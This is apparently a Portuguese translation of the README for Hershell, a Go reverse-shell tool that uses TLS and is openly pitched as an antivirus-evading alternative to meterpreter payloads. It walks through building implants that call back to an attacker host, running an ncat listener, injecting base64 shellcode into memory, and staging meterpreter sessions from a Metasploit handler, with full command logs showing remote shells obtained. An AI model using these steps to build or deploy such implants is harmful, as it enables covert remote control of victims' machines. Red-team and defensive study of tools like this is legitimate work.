
Hershell é uma shell reversa TCP simples escrita em Go.
NOTA: o projeto foi bifurcado neste repositório, verifique lá para outros desenvolvimentos.
Hershell é um simples reverse shell TCP escrito em Go.
Ele usa TLS para proteger as comunicações e fornece um recurso de pinning de impressão digital da chave pública do certificado, prevenindo a interceptação de tráfego.
Sistemas operacionais suportados:
Embora os payloads do meterpreter sejam ótimos, às vezes são detectados por produtos AV.
O objetivo deste projeto é obter um reverse shell simples, que possa funcionar em múltiplos sistemas.
Como é escrito em Go, você pode cross-compilar o código-fonte para a arquitetura desejada.
Como este é um projeto Go, você precisará seguir a documentação oficial para configurar seu ambiente Golang (com a variável de ambiente $GOPATH).
Em seguida, execute go get github.com/sysdream/hershell para obter o projeto.
Para simplificar, você pode usar o Makefile fornecido. Você pode definir as seguintes variáveis de ambiente:
GOOS : o sistema operacional alvoGOARCH : a arquitetura alvoLHOST : o IP ou nome de domínio do atacanteLPORT : a porta do listenerPara as variáveis GOOS e GOARCH, você pode obter os valores permitidos aqui.
No entanto, alguns targets auxiliares estão disponíveis no Makefile:
depends : gera o certificado do servidor (necessário para o reverse shell)windows32 : compila um executável Windows 32 bits (PE 32 bits)windows64 : compila um executável Windows 64 bits (PE 64 bits)linux32 : compila um executável Linux 32 bits (ELF 32 bits)linux64 : compila um executável Linux 64 bits (ELF 64 bits)macos32 : compila um executável Mac OS 32 bits (Mach-O)macos64 : compila um executável Mac OS 64 bits (Mach-O)Para esses targets, você só precisa definir as variáveis de ambiente LHOST e LPORT.
Uma vez executado, você receberá um shell remoto.
Este shell interativo personalizado permitirá executar comandos do sistema através de cmd.exe no Windows, ou /bin/sh em máquinas UNIX.
Os seguintes comandos especiais são suportados:
run_shell : te dá um shell do sistema (permitindo, por exemplo, mudar de diretório)inject <base64 shellcode> : injeta um shellcode (codificado em base64) na memória do mesmo processo e o executa (apenas Windows no momento).meterpreter [tcp|http|https] IP:PORT : conecta a um multi/handler para obter um meterpreter stage2 reverse tcp, http ou https do metasploit e executa o shellcode na memória (apenas Windows no momento)exit : sai graciosamentePrimeiramente, você precisará gerar um certificado válido:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
Para Windows:
# Target pré-definido de 32 bits
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Target pré-definido de 64 bits
$ make windows64 LHOST=192.168.0.12 LPORT=1234
Para Linux:
# Target pré-definido de 32 bits
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Target pré-definido de 64 bits
$ make linux64 LHOST=192.168.0.12 LPORT=1234
Para Mac OS X
$ make macos LHOST=192.168.0.12 LPORT=1234
Pode-se usar várias ferramentas para lidar com conexões recebidas, tais como:
python/shell_reverse_tcp_ssl)Aqui está um exemplo com ncat:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
AVISO: isso atualmente funciona apenas na plataforma Windows.
O meterpreter staging atualmente suporta os seguintes payloads:
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_httpsPara usar o correto, apenas especifique o transporte que deseja usar (tcp, http, https)
Para usar o recurso de meterpreter staging, apenas inicie seu handler:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
Então, no hershell, use o comando meterpreter:
[hershell]> meterpreter https 172.16.122.105:8443
Uma nova sessão meterpreter deve aparecer no msfconsole:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
Ronan Kervella <r.kervella -at- sysdream -dot- com>